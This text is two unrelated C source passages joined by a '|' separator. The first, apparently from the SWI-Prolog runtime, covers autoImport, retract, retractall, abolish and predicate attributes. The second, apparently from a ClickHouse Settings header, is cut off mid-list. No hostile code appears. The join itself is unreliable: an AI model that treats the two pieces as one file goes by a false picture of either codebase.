decided its not save, but can't recall why ...)
Its definitely not safe in MT context as others may be racing for the
definition. How do we get this working without locking the
proc->definition fetch?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
Definition
autoImport(functor_t f, Module m)
{ GET_LD
Procedure proc;
Definition def, odef;
ListCell c;
/* Defined: no problem */
if ( (proc = isCurrentProcedure(f, m)) && isDefinedProcedure(proc) )
return proc->definition;
for(c=m->supers; c; c=c->next)
{ Module s = c->value;
if ( (def = autoImport(f, s)) )
goto found;
}
return NULL;
found:
if ( proc == NULL ) /* Create header if not there */
{ if ( !(proc = lookupProcedure(f, m)) )
return NULL;
}
/* Now, take the lock also used */
/* by lookupProcedure(). Note */
/* that another thread may have */
/* done the job for us. */
LOCKMODULE(m);
if ( (odef=proc->definition) != def ) /* Nope, we must link the def */
{ proc->definition = def;
shareDefinition(def);
if ( unshareDefinition(odef) == 0 )
{
#ifdef O_PLMT
PL_LOCK(L_THREAD);
if ( (GD->statistics.threads_created -
GD->statistics.threads_finished) == 1 )
{ DEBUG(MSG_PROC_COUNT, Sdprintf("Unalloc %s\n", predicateName(odef)));
unregisterDirtyDefinition(odef);
freeHeap(odef, sizeof(*odef));
GD->statistics.predicates--;
} else
{ DEBUG(MSG_PROC, Sdprintf("autoImport(%s,%s): Linger %s (%p)\n",
functorName(f), PL_atom_chars(m->name),
predicateName(odef), odef));
lingerDefinition(odef);
}
PL_UNLOCK(L_THREAD);
#else
freeHeap(odef, sizeof(struct definition));
#endif
}
}
UNLOCKMODULE(m);
return def;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Call the autoloader for the given definition.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static atom_t
autoLoader(Definition def)
{ GET_LD
fid_t cid;
term_t argv;
qid_t qid;
atom_t answer = ATOM_nil;
if ( !GD->procedures.undefinterc4 )
GD->procedures.undefinterc4 = PL_pred(FUNCTOR_undefinterc4,
MODULE_system);
if ( !(cid = PL_open_foreign_frame()) ||
!(argv = PL_new_term_refs(4)) )
return answer;
PL_put_atom( argv+0, def->module->name);
PL_put_atom( argv+1, def->functor->name);
PL_put_integer( argv+2, def->functor->arity);
push_input_context(ATOM_autoload);
LD->autoload_nesting++;
if ( (qid = PL_open_query(MODULE_system, PL_Q_NODEBUG,
GD->procedures.undefinterc4, argv)) )
{ if ( PL_next_solution(qid) )
PL_get_atom(argv+3, &answer);
PL_close_query(qid);
}
LD->autoload_nesting--;
pop_input_context();
PL_discard_foreign_frame(cid);
return answer;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
According to Paulo Moura, predicates defined either dynamic, multifile or
discontiguous should not cause an undefined predicate warning.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
Definition
trapUndefined(Definition def ARG_LD)
{ int retry_times = 0;
Definition newdef;
Module module = def->module;
FunctorDef functor = def->functor;
retry:
/* Auto import */
if ( (newdef = autoImport(functor->functor, module)) )
return newdef;
/* Pred/Module does not want to trap */
if ( true(def, PROC_DEFINED) ||
getUnknownModule(module) == UNKNOWN_FAIL )
return def;
DEBUG(5, Sdprintf("trapUndefined(%s)\n", predicateName(def)));
/* Trap via exception/3 */
if ( truePrologFlag(PLFLAG_AUTOLOAD) && !GD->bootsession )
{ if ( LD->autoload_nesting > 100 )
{ LD->autoload_nesting = 1;
sysError("trapUndefined(): undefined: %s", predicateName(def));
return def;
} else
{ atom_t answer = autoLoader(def);
def = lookupDefinition(functor->functor, module);
if ( answer == ATOM_fail )
{ return def;
} else if ( answer == ATOM_error )
{ goto error;
} else if ( answer == ATOM_retry )
{ if ( retry_times++ )
{ warning("[Thread %d]: exception handler failed to define %s\n",
PL_thread_self(),
predicateName(def));
return def;
}
goto retry;
}
}
}
/* No one wants to intercept */
error:
if ( GD->bootsession )
{ sysError("Undefined predicate: %s", predicateName(def));
} else
{ createUndefSupervisor(def);
}
return def;
}
/*******************************
* REQUIRE SUPPORT *
*******************************/
word
pl_require(term_t pred)
{ Procedure proc;
if ( !get_procedure(pred, &proc, 0, GP_RESOLVE) )
return get_procedure(pred, &proc, 0, GP_DEFINE);
succeed;
}
/********************************
* RETRACT *
*********************************/
typedef struct
{ Definition def;
struct clause_choice chp;
int allocated;
} retract_context;
static retract_context *
alloc_retract_context(retract_context *ctx0)
{ retract_context *ctx = allocForeignState(sizeof(*ctx));
*ctx = *ctx0;
ctx->allocated = TRUE;
return ctx;
}
static void
free_retract_context(retract_context *ctx ARG_LD)
{ popPredicateAccess(ctx->def);
leaveDefinition(ctx->def);
if ( ctx->allocated )
freeForeignState(ctx, sizeof(*ctx));
}
static
PRED_IMPL("retract", 1, retract,
PL_FA_TRANSPARENT|PL_FA_NONDETERMINISTIC|PL_FA_ISO)
{ PRED_LD
term_t term = A1;
retract_context ctxbuf;
retract_context *ctx;
ClauseRef cref;
if ( CTX_CNTRL == FRG_CUTTED )
{ ctx = CTX_PTR;
free_retract_context(ctx PASS_LD);
return TRUE;
} else
{ Module m = NULL;
term_t cl = PL_new_term_ref();
term_t head = PL_new_term_ref();
term_t body = PL_new_term_ref();
Word argv;
atom_t b;
fid_t fid;
if ( !PL_strip_module_ex(term, &m, cl) ||
!get_head_and_body_clause(cl, head, body, NULL PASS_LD) )
return FALSE;
if ( PL_get_atom(body, &b) && b == ATOM_true )
PL_put_term(cl, head);
argv = valTermRef(head);
deRef(argv);
if ( isTerm(*argv) ) /* retract(foobar(a1, ...)) */
argv = argTermP(*argv, 0);
else
argv = NULL; /* retract(foobar) */
if ( CTX_CNTRL == FRG_FIRST_CALL )
{ functor_t fd;
Procedure proc;
Definition def;
if ( !PL_get_functor(head, &fd) )
return PL_error(NULL, 0, NULL, ERR_TYPE, ATOM_callable, head);
if ( !(proc = isCurrentProcedure(fd, m)) )
{ checkModifySystemProc(fd);
fail;
}
def = getProcDefinition(proc);
if ( true(def, P_FOREIGN) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, proc);
if ( false(def, P_DYNAMIC) )
{ if ( isDefinedProcedure(proc) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, proc);
setDynamicDefinition(def, TRUE); /* implicit */
fail; /* no clauses */
}
enterDefinition(def); /* reference the predicate */
setGenerationFrameVal(environment_frame, pushPredicateAccess(def));
cref = firstClause(argv, environment_frame, def, &ctxbuf.chp PASS_LD);
if ( !cref )
{ popPredicateAccess(def);
leaveDefinition(def);
fail;
}
ctx = &ctxbuf;
ctx->def = def;
ctx->allocated = 0;
} else
{ ctx = CTX_PTR;
cref = nextClause(&ctx->chp, argv, environment_frame, ctx->def);
}
if ( !(fid = PL_open_foreign_frame()) )
{ free_retract_context(ctx PASS_LD);
return FALSE;
}
while( cref )
{ if ( decompile(cref->value.clause, cl, 0) )
{ if ( retractClauseDefinition(ctx->def, cref->value.clause) ||
CTX_CNTRL != FRG_FIRST_CALL )
{ if ( !ctx->chp.cref ) /* deterministic last one */
{ free_retract_context(ctx PASS_LD);
PL_close_foreign_frame(fid);
return TRUE;
}
if ( ctx == &ctxbuf ) /* non-determinisic; save state */
ctx = alloc_retract_context(ctx);
PL_close_foreign_frame(fid);
ForeignRedoPtr(ctx);
} else
{ setGenerationFrame(environment_frame);
}
}
if ( PL_exception(0) )
break;
PL_rewind_foreign_frame(fid);
cref = nextClause(&ctx->chp, argv, environment_frame, ctx->def);
}
PL_close_foreign_frame(fid);
free_retract_context(ctx PASS_LD);
return FALSE;
}
}
static int
allVars(int argc, Word argv ARG_LD)
{ int i, r, allvars = TRUE;
Word *reset = alloca(argc*sizeof(Word));
for(i=0; i<argc; i++)
{ Word p2;
deRef2(argv+i, p2);
if ( isVar(*p2) )
{ reset[i] = p2;
*p2 = ATOM_nil;
} else
{ allvars = FALSE;
break;
}
}
for(r=0; r<i; r++)
setVar(*reset[r]);
return allvars;
}
word
pl_retractall(term_t head)
{ GET_LD
term_t thehead = PL_new_term_ref();
Procedure proc;
Definition def;
ClauseRef cref;
Word argv;
int allvars = TRUE;
fid_t fid;
int rc = TRUE;
if ( !get_procedure(head, &proc, thehead, GP_CREATE) )
fail;
def = getProcDefinition(proc);
if ( true(def, P_FOREIGN) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, proc);
if ( false(def, P_DYNAMIC) )
{ if ( isDefinedProcedure(proc) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, proc);
if ( !setDynamicDefinition(def, TRUE) )
fail;
succeed; /* nothing to retract */
}
if ( !retractall_event(def, thehead, FUNCTOR_start1 PASS_LD) )
return FALSE;
argv = valTermRef(thehead);
deRef(argv);
if ( isTerm(*argv) )
{ int arity = arityTerm(*argv);
argv = argTermP(*argv, 0);
allvars = allVars(arity, argv PASS_LD);
} else
{ allvars = TRUE;
argv = NULL;
}
enterDefinition(def);
setGenerationFrameVal(environment_frame, pushPredicateAccess(def));
fid = PL_open_foreign_frame();
DEBUG(CHK_SECURE,
LOCKDEF(def);
checkDefinition(def);
UNLOCKDEF(def));
if ( allvars )
{ gen_t gen = generationFrame(environment_frame);
acquire_def(def);
for(cref = def->impl.clauses.first_clause; cref; cref = cref->next)
{ if ( visibleClauseCNT(cref->value.clause, gen) )
{ if ( !(rc=retractClauseDefinition(def, cref->value.clause)) )
{ if ( PL_exception(0) )
break;
}
}
}
release_def(def);
rc = TRUE;
} else
{ struct clause_choice chp;
if ( !(cref = firstClause(argv, environment_frame, def, &chp PASS_LD)) )
{ popPredicateAccess(def);
leaveDefinition(def);
return TRUE;
}
while( cref )
{ if ( decompileHead(cref->value.clause, thehead) )
{ if ( !(rc=retractClauseDefinition(def, cref->value.clause)) )
{ if ( PL_exception(0) )
break;
}
}
PL_rewind_foreign_frame(fid);
if ( !chp.cref )
{ popPredicateAccess(def);
leaveDefinition(def);
return TRUE;
}
if ( argv ) /* may be shifted */
{ argv = valTermRef(thehead);
argv = argTermP(*argv, 0);
}
cref = nextClause(&chp, argv, environment_frame, def);
rc = TRUE;
}
}
popPredicateAccess(def);
leaveDefinition(def);
DEBUG(CHK_SECURE,
LOCKDEF(def);
checkDefinition(def);
UNLOCKDEF(def));
if ( rc )
rc = retractall_event(def, thehead, FUNCTOR_end1 PASS_LD);
return rc;
}
/********************************
* PROLOG PREDICATES *
*********************************/
static word
do_abolish(Module m, term_t atom, term_t arity)
{ GET_LD
functor_t f;
Procedure proc;
atom_t name;
int a = 0;
if ( !PL_get_atom_ex(atom, &name) ||
!get_arity(arity, 0, MAXARITY, &a) )
fail;
if ( !(f = isCurrentFunctor(name, a)) )
succeed;
if ( !checkModifySystemProc(f) )
fail;
if ( !(proc = isCurrentProcedure(f, m)) )
succeed;
if ( truePrologFlag(PLFLAG_ISO) && false(proc->definition, P_DYNAMIC) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, proc);
return abolishProcedure(proc, m);
}
word
pl_abolish(term_t name, term_t arity) /* Name, Arity */
{ GET_LD
Module m = NULL;
return ( PL_strip_module(name, &m, name) &&
do_abolish(m, name, arity)
);
}
word
pl_abolish1(term_t spec) /* Name/Arity */
{ GET_LD
term_t name = PL_new_term_ref();
term_t arity = PL_new_term_ref();
Module m = NULL;
if ( !PL_strip_module(spec, &m, spec) )
return FALSE;
if ( !PL_is_functor(spec, FUNCTOR_divide2) )
return PL_error(NULL, 0, NULL, ERR_TYPE, ATOM_predicate_indicator, spec);
_PL_get_arg(1, spec, name);
_PL_get_arg(2, spec, arity);
return do_abolish(m, name, arity);
}
typedef struct patt_mask
{ atom_t key;
unsigned int mask;
} patt_mask;
static const patt_mask patt_masks[] =
{ { ATOM_dynamic, P_DYNAMIC },
{ ATOM_multifile, P_MULTIFILE },
{ ATOM_locked, P_LOCKED },
{ ATOM_system, P_LOCKED }, /* compatibility */
{ ATOM_spy, SPY_ME },
{ ATOM_tabled, P_TABLED },
{ ATOM_incremental, P_INCREMENTAL },
{ ATOM_abstract, P_ABSTRACT },
{ ATOM_tshared, P_TSHARED },
{ ATOM_trace, TRACE_ME },
{ ATOM_hide_childs, HIDE_CHILDS },
{ ATOM_transparent, P_TRANSPARENT },
{ ATOM_discontiguous, P_DISCONTIGUOUS },
{ ATOM_volatile, P_VOLATILE },
{ ATOM_thread_local, P_THREAD_LOCAL },
{ ATOM_noprofile, P_NOPROFILE },
{ ATOM_iso, P_ISO },
{ ATOM_public, P_PUBLIC },
{ ATOM_non_terminal, P_NON_TERMINAL },
{ ATOM_quasi_quotation_syntax, P_QUASI_QUOTATION_SYNTAX },
{ ATOM_clausable, P_CLAUSABLE },
{ (atom_t)0, 0 }
};
static unsigned int
attribute_mask(atom_t key)
{ const patt_mask *p;
for(p=patt_masks; p->key; p++)
{ if ( p->key == key )
return p->mask;
}
{ GET_LD
term_t t;
return ( (t = PL_new_term_ref()) &&
PL_put_atom(t, key) &&
PL_domain_error("predicate_property", t)
);
}
}
static size_t
num_visible_clauses(Definition def, atom_t key)
{ GET_LD;
if ( LD->gen_reload != GEN_INVALID )
{ ClauseRef c;
size_t num_clauses = 0;
acquire_def(def);
for(c = def->impl.clauses.first_clause; c; c = c->next)
{ Clause cl = c->value.clause;
if ( key == ATOM_number_of_rules && true(cl, UNIT_CLAUSE) )
continue;
if ( visibleClause(cl, generationFrame(environment_frame)) )
num_clauses++;
}
release_def(def);
return num_clauses;
}
if ( key == ATOM_number_of_clauses )
return def->impl.clauses.number_of_clauses;
else
return def->impl.clauses.number_of_rules;
}
word
pl_get_predicate_attribute(term_t pred,
term_t what, term_t value)
{ GET_LD
Procedure proc;
Definition def;
functor_t fd;
atom_t key;
Module module = (Module) NULL;
unsigned int att;
term_t head = PL_new_term_ref();
if ( !PL_strip_module(pred, &module, head) ||
!PL_get_functor(head, &fd) ||
!(proc = resolveProcedure(fd, module)) )
fail;
def = proc->definition;
if ( !PL_get_atom(what, &key) )
return PL_error(NULL, 0, NULL, ERR_TYPE, ATOM_atom, what);
if ( key == ATOM_imported )
{ if ( module == def->module )
fail;
return PL_unify_atom(value, def->module->name);
} else if ( key == ATOM_indexed )
{ return unify_index_pattern(proc, value);
} else if ( key == ATOM_meta_predicate )
{ if ( false(def, P_META) )
fail;
return unify_meta_pattern(proc, value);
} else if ( key == ATOM_exported )
{ return PL_unify_integer(value, isPublicModule(module, proc));
} else if ( key == ATOM_defined )
{ int d;
if ( isDefinedProcedureSource(proc) )
d = 1;
else
d = 0;
return PL_unify_integer(value, d);
} else if ( key == ATOM_line_count || key == ATOM_file )
{ int line;
Clause clause;
int rc = FALSE;
if ( false(def, P_FOREIGN|P_THREAD_LOCAL) )
{ acquire_def(def);
if ( def->impl.clauses.first_clause &&
(clause = def->impl.clauses.first_clause->value.clause) &&
(line=clause->line_no) )
{ if ( key == ATOM_line_count )
{ rc = PL_unify_integer(value, line);
} else
{ SourceFile sf = indexToSourceFile(clause->source_no);
if ( sf )
rc = PL_unify_atom(value, sf->name);
}
}
release_def(def);
}
return rc;
} else if ( key == ATOM_foreign )
{ return PL_unify_integer(value, true(def, P_FOREIGN) ? 1 : 0);
} else if ( key == ATOM_number_of_clauses )
{ size_t num_clauses;
if ( def->flags & P_FOREIGN )
fail;
def = getProcDefinition(proc);
num_clauses = num_visible_clauses(def, key);
if ( num_clauses == 0 && false(def, P_DYNAMIC) )
fail;
return PL_unify_int64(value, num_clauses);
} else if ( key == ATOM_last_modified_generation )
{ if ( def->flags & P_FOREIGN )
fail;
def = getProcDefinition(proc);
return PL_unify_int64(value, def->last_modified);
} else if ( key == ATOM_number_of_rules )
{ if ( def->flags & P_FOREIGN )
fail;
def = getProcDefinition(proc);
if ( def->impl.clauses.number_of_clauses == 0 && false(def, P_DYNAMIC) )
fail;
return PL_unify_integer(value, num_visible_clauses(def, key));
} else if ( (att = attribute_mask(key)) )
{ return PL_unify_integer(value, (def->flags & att) ? 1 : 0);
} else
{ return FALSE;
}
}
static int
setDynamicDefinition_unlocked(Definition def, bool isdyn)
{ GET_LD
if ( ( isdyn && true(def, P_DYNAMIC)) ||
(!isdyn && false(def, P_DYNAMIC)) )
return TRUE;
if ( isdyn ) /* static --> dynamic */
{ if ( truePrologFlag(PLFLAG_PROTECT_STATIC_CODE) &&
hasClausesDefinition(def) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PREDICATE, def);
set(def, P_DYNAMIC);
freeCodesDefinition(def, TRUE); /* reset to S_VIRGIN */
} else /* dynamic --> static */
{ clear(def, P_DYNAMIC);
freeCodesDefinition(def, TRUE); /* reset to S_VIRGIN */
}
return TRUE;
}
int
setDynamicDefinition(Definition def, bool isdyn)
{ int rc;
LOCKDEF(def);
rc = setDynamicDefinition_unlocked(def, isdyn);
UNLOCKDEF(def);
return rc;
}
int
setThreadLocalDefinition(Definition def, bool val)
{
#ifdef O_PLMT
LOCKDEF(def);
if ( (val && true(def, P_THREAD_LOCAL)) ||
(!val && false(def, P_THREAD_LOCAL)) )
{ UNLOCKDEF(def);
return TRUE;
}
if ( val ) /* static --> local */
{ if ( def->impl.clauses.first_clause )
{ UNLOCKDEF(def);
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PREDICATE, def);
}
set(def, P_DYNAMIC|P_VOLATILE|P_THREAD_LOCAL);
def->codes = SUPERVISOR(thread_local);
def->impl.local = new_ldef_vector();
UNLOCKDEF(def);
return TRUE;
} else /* local --> static */
{ UNLOCKDEF(def);
return PL_error(NULL, 0, "predicate is thread-local",
ERR_MODIFY_STATIC_PREDICATE, def);
}
#else
setDynamicDefinition(def, val);
if ( val )
set(def, P_VOLATILE|P_THREAD_LOCAL);
else
clear(def, P_VOLATILE|P_THREAD_LOCAL);
succeed;
#endif
}
static int
setClausableDefinition(Definition def, int val)
{ GET_LD
if ( val )
{ if ( truePrologFlag(PLFLAG_PROTECT_STATIC_CODE) &&
hasClausesDefinition(def) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PREDICATE, def);
set(def, P_CLAUSABLE);
} else
{ clear(def, P_CLAUSABLE);
}
return TRUE;
}
int
setAttrDefinition(Definition def, unsigned attr, int val)
{ int rc;
if ( attr == P_DYNAMIC )
{ rc = setDynamicDefinition(def, val);
} else if ( attr == P_THREAD_LOCAL )
{ rc = setThreadLocalDefinition(def, val);
} else if ( attr == P_CLAUSABLE )
{ rc = setClausableDefinition(def, val);
} else
{ if ( !val )
{ clear(def, attr);
} else
{ set(def, attr);
}
if ( attr == P_INCREMENTAL )
freeCodesDefinition(def, TRUE);
rc = TRUE;
}
return rc;
}
static int
get_bool_or_int_ex(term_t t, int *val ARG_LD)
{ if ( PL_get_bool(t, val) )
return TRUE;
if ( PL_get_integer(t, val) && !(*val & ~1) )
return TRUE; /* accept 0 and 1 */
return PL_get_bool_ex(t, val); /* generate an error */
}
static
PRED_IMPL("$set_predicate_attribute", 3, set_predicate_attribute,
PL_FA_TRANSPARENT)
{ PRED_LD
term_t pred = A1;
term_t what = A2;
term_t value = A3;
Procedure proc;
Definition def;
atom_t key;
int val;
uintptr_t att;
if ( !PL_get_atom_ex(what, &key) ||
!get_bool_or_int_ex(value, &val PASS_LD) ||
!(att = attribute_mask(key)) )
return FALSE;
if ( (att&SPY_ME) )
{ if ( !get_procedure(pred, &proc, 0, GP_RESOLVE) )
fail;
} else
{ if ( !get_procedure(pred, &proc, 0, GP_DEFINE|GP_NAMEARITY) )
fail;
}
def = proc->definition;
if ( ReadingSource && MODULE_parse == def->module )
{ SourceFile sf = lookupSourceFile(source_file_name, TRUE);
return setAttrProcedureSource(sf, proc, att, val PASS_LD);
} else
{ return setAttrDefinition(def, att, val);
}
}
static
PRED_IMPL("$default_predicate", 2, default_predicate, PL_FA_TRANSPARENT)
{ Procedure p1, p2;
if ( get_procedure(A1, &p1, 0, GP_FIND) &&
get_procedure(A2, &p2, 0, GP_FIND) )
{ if ( p1->definition == p2->definition || !isDefinedProcedure(p1) )
succeed;
}
fail;
}
static
PRED_IMPL("$get_clause_attribute", 3, get_clause_attribute, 0)
{ GET_LD
Clause clause;
atom_t a;
term_t ref = A1;
term_t att = A2;
term_t value = A3;
if ( !PL_get_clref(ref, &clause) ||
!PL_get_atom_ex(att, &a) )
return FALSE;
if ( a == ATOM_line_count )
{ if ( clause->line_no )
return PL_unify_integer(value, clause->line_no);
} else if ( a == ATOM_file )
{ SourceFile sf = indexToSourceFile(clause->source_no);
if ( sf )
return PL_unify_atom(value, sf->name);
} else if ( a == ATOM_owner )
{ SourceFile sf = indexToSourceFile(clause->owner_no);
if ( sf )
return PL_unify_atom(value, sf->name);
} else if ( a == ATOM_size )
{ size_t size = sizeofClause(clause->code_size);
return PL_unify_int64(value, size);
} else if ( a == ATOM_fact )
{ return PL_unify_atom(value,
true(clause, UNIT_CLAUSE) ? ATOM_true
: ATOM_false);
} else if ( a == ATOM_erased )
{ atom_t erased;
if ( visibleClause(clause, generationFrame(environment_frame)) )
erased = ATOM_false;
else
erased = ATOM_true;
return PL_unify_atom(value, erased);
} else if ( a == ATOM_predicate_indicator )
{ if ( unify_definition(MODULE_user, value,
clause->predicate, 0,
GP_QUALIFY|GP_NAMEARITY) )
return TRUE;
} else if ( a == ATOM_module )
{ return PL_unify_atom(value, clauseBodyContext(clause)->name);
}
fail;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
redefineProcedure() is called when a procedure needs to be defined and
it seems to have a definition.
Sf is the `owning' source-file
(*) occurs if this is actually false. This happens if a file holding a
running predicate is reloaded because the clauses cannot be wiped.
(**) there is a definition, but we are reloading and we have not yet
seen this predicate, so it isn't there.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
int
redefineProcedure(Procedure proc, SourceFile sf, unsigned int suppress)
{ GET_LD
Definition def = proc->definition;
if ( true(def, P_FOREIGN) )
{ /* first call printMessage() */
/* so we can provide info about the old definition */
if ( !printMessage(ATOM_warning,
PL_FUNCTOR_CHARS, "redefined_procedure", 2,
PL_CHARS, "foreign",
_PL_PREDICATE_INDICATOR, proc) )
return FALSE;
/* ... then abolish */
abolishProcedure(proc, def->module);
} else if ( false(def, P_MULTIFILE) )
{ ClauseRef first;
def = getProcDefinition__LD(def PASS_LD);
if ( !(first = hasClausesDefinition(def)) )
return TRUE; /* (*) see above */
if ( first->value.clause->owner_no == sf->index )
{ if ( sf->reload && !reloadHasClauses(sf, proc PASS_LD) )
return TRUE; /* (**) see above */
if ( ((debugstatus.styleCheck & ~suppress) & DISCONTIGUOUS_STYLE) &&
false(def, P_DISCONTIGUOUS) &&
sf->current_procedure )
{ if ( !printMessage(ATOM_warning,
PL_FUNCTOR_CHARS, "discontiguous", 2,
_PL_PREDICATE_INDICATOR, proc,
_PL_PREDICATE_INDICATOR, sf->current_procedure) )
return FALSE;
}
} else if ( !hasProcedureSourceFile(sf, proc) )
{ if ( true(def, P_THREAD_LOCAL) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_THREAD_LOCAL_PROC, proc);
if ( first )
{ if ( !printMessage(ATOM_warning,
PL_FUNCTOR_CHARS, "redefined_procedure", 2,
PL_CHARS, "static",
_PL_PREDICATE_INDICATOR, proc) )
return FALSE;
}
/* again, _after_ the printMessage() */
abolishProcedure(proc, def->module);
}
}
return TRUE;
}
/** copy_predicate(From:predicate_indicator, To:predicate_indicator) is det.
Copy all clauses of From into To. To is created as a dynamic predicate.
*/
static void
remoduleClause(Clause cl, Module old, Module new)
{ Code PC, end;
int in_body = FALSE;
if ( true(cl, UNIT_CLAUSE) )
return;
PC = cl->codes;
end = &PC[cl->code_size];
for( ; PC < end; PC = stepPC(PC) )
{ code op = fetchop(PC);
if ( in_body )
{ const char *ats=codeTable[op].argtype;
int an;
for(an=0; ats[an]; an++)
{ switch(ats[an])
{ case CA1_PROC:
{ Procedure op = (Procedure)PC[an+1];
if ( op->definition->module != MODULE_system )
{ functor_t f = op->definition->functor->functor;
PC[an+1] = (code)lookupProcedure(f, new);
}
break;
}
case CA1_MODULE:
{ if ( old == (Module)PC[an+1] )
PC[an+1] = (code)new;
}
}
}
} else if ( op == I_ENTER )
{ in_body = TRUE;
}
}
}
static
PRED_IMPL("copy_predicate_clauses", 2, copy_predicate_clauses, PL_FA_TRANSPARENT)
{ PRED_LD
Procedure from, to;
Definition def, copy_def;
ClauseRef cref;
gen_t generation;
if ( !get_procedure(A1, &from, 0, GP_NAMEARITY|GP_RESOLVE) )
fail;
if ( !isDefinedProcedure(from) )
trapUndefined(getProcDefinition(from) PASS_LD);
def = getProcDefinition(from);
generation = global_generation(); /* take a consistent snapshot */
if ( true(def, P_FOREIGN) )
return PL_error(NULL, 0, NULL, ERR_PERMISSION_PROC,
ATOM_access, ATOM_private_procedure, from);
if ( !get_procedure(A2, &to, 0, GP_NAMEARITY|GP_CREATE) )
return FALSE;
copy_def = getProcDefinition(to);
if ( true(copy_def, P_FOREIGN) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, to);
if ( false(copy_def, P_DYNAMIC) )
{ if ( isDefinedProcedure(to) )
return PL_error(NULL, 0, NULL, ERR_MODIFY_STATIC_PROC, to);
if ( !setDynamicDefinition(copy_def, TRUE) )
fail;
}
enterDefinition(def);
acquire_def(def);
for( cref = def->impl.clauses.first_clause; cref; cref = cref->next )
{ Clause cl = cref->value.clause;
if ( visibleClause(cl, generation) )
{ size_t size = sizeofClause(cl->code_size);
Clause copy = PL_malloc_atomic(size);
memcpy(copy, cl, size);
copy->predicate = copy_def;
if ( def->module != copy_def->module )
remoduleClause(copy, def->module, copy_def->module);
#ifdef O_ATOMGC
#ifdef O_DEBUG_ATOMGC
forAtomsInClause(copy, register_atom_clause);
#else
forAtomsInClause(copy, PL_register_atom);
#endif
#endif
assertProcedure(to, copy, CL_END PASS_LD);
}
}
release_def(def);
leaveDefinition(def);
return TRUE;
}
#if defined(O_MAINTENANCE) || defined(O_DEBUG)
/*******************************
* INTERNAL DEBUGGING *
*******************************/
static void
listGenerations(Definition def)
{ GET_LD
gen_t gen = generationFrame(environment_frame);
ClauseRef cref;
int i;
Sdprintf("%s has %d clauses at generation %ld\n",
predicateName(def),
def->impl.clauses.number_of_clauses, gen);
acquire_def(def);
for(i=1,cref=def->impl.clauses.first_clause; cref; cref=cref->next, i++)
{ Clause clause = cref->value.clause;
Sdprintf("%p: [%2d] %8u-%10u%s%s%s\n",
clause, i,
clause->generation.created,
clause->generation.erased,
true(clause, CL_ERASED) ? " erased" : "",
visibleClause(clause, gen) ? " v " : " X ",
keyName(cref->d.key));
}
release_def(def);
listIndexGenerations(def, gen);
}
void
checkDefinition(Definition def)
{ GET_LD
unsigned int nc, indexed = 0;
ClauseRef cref;
unsigned int erased = 0;
Definition old;
/* check basic clause list */
acquire_def2(def, old);
for(nc=0, cref = def->impl.clauses.first_clause; cref; cref=cref->next)
{ Clause clause = cref->value.clause;
if ( false(clause, CL_ERASED) )
{ if ( cref->d.key )
indexed++;
nc++;
} else
{ erased++;
}
}
release_def2(def, old);
assert(nc == def->impl.clauses.number_of_clauses);
assert(erased == def->impl.clauses.erased_clauses);
checkClauseIndexes(def);
}
foreign_t
pl_check_procedure(term_t desc)
{ GET_LD
Procedure proc;
Definition def;
if ( !get_procedure(desc, &proc, 0, GP_FIND|GP_NAMEARITY) )
fail;
def = getProcDefinition(proc);
if ( true(def, P_FOREIGN) )
fail;
LOCKDEF(def);
checkDefinition(def);
UNLOCKDEF(def);
succeed;
}
foreign_t
pl_list_generations(term_t desc)
{ GET_LD
Procedure proc;
Definition def;
if ( !get_procedure(desc, &proc, 0, GP_FIND|GP_NAMEARITY) )
fail;
def = getProcDefinition(proc);
if ( true(def, P_FOREIGN) )
fail; /* permission error */
listGenerations(def);
succeed;
}
#endif /*O_MAINTENANCE*/
/*******************************
* PUBLISH PREDICATES *
*******************************/
BeginPredDefs(proc)
PRED_DEF("$set_predicate_attribute", 3, set_predicate_attribute,
PL_FA_TRANSPARENT)
PRED_DEF("$default_predicate", 2, default_predicate, PL_FA_TRANSPARENT)
PRED_DEF("meta_predicate", 1, meta_predicate, PL_FA_TRANSPARENT)
PRED_DEF("$get_clause_attribute", 3, get_clause_attribute, 0)
PRED_DEF("retract", 1, retract,
PL_FA_TRANSPARENT|PL_FA_NONDETERMINISTIC|PL_FA_ISO)
PRED_DEF("copy_predicate_clauses", 2, copy_predicate_clauses, PL_FA_TRANSPARENT)
PRED_DEF("$cgc_params", 6, cgc_params, 0)
EndPredDefs
|
#pragma once
#include <Core/Defines.h>
#include <Interpreters/SettingsCommon.h>
namespace Poco
{
namespace Util
{
class AbstractConfiguration;
}
}
namespace DB
{
class IColumn;
class Field;
/** Settings of query execution.
*/
struct Settings
{
/// For initialization from empty initializer-list to be "value initialization", not "aggregate initialization" in C++14.
/// http://en.cppreference.com/w/cpp/language/aggregate_initialization
Settings() {}
/** List of settings: type, name, default value.
*
* This looks rather unconvenient. It is done that way to avoid repeating settings in different places.
* Note: as an alternative, we could implement settings to be completely dynamic in form of map: String -> Field,
* but we are not going to do it, because settings is used everywhere as static struct fields.
*/
#define APPLY_FOR_SETTINGS(M) \
M(SettingUInt64, min_compress_block_size, 65536, "The actual size of the block to compress, if the uncompressed data less than max_compress_block_size is no less than this value and no less than the volume of data for one mark.") \
M(SettingUInt64, max_compress_block_size, 1048576, "The maximum size of blocks of uncompressed data before compressing for writing to a table.") \
M(SettingUInt64, max_block_size, DEFAULT_BLOCK_SIZE, "Maximum block size for reading") \
M(SettingUInt64, max_insert_block_size, DEFAULT_INSERT_BLOCK_SIZE, "The maximum block size for insertion, if we control the creation of blocks for insertion.") \
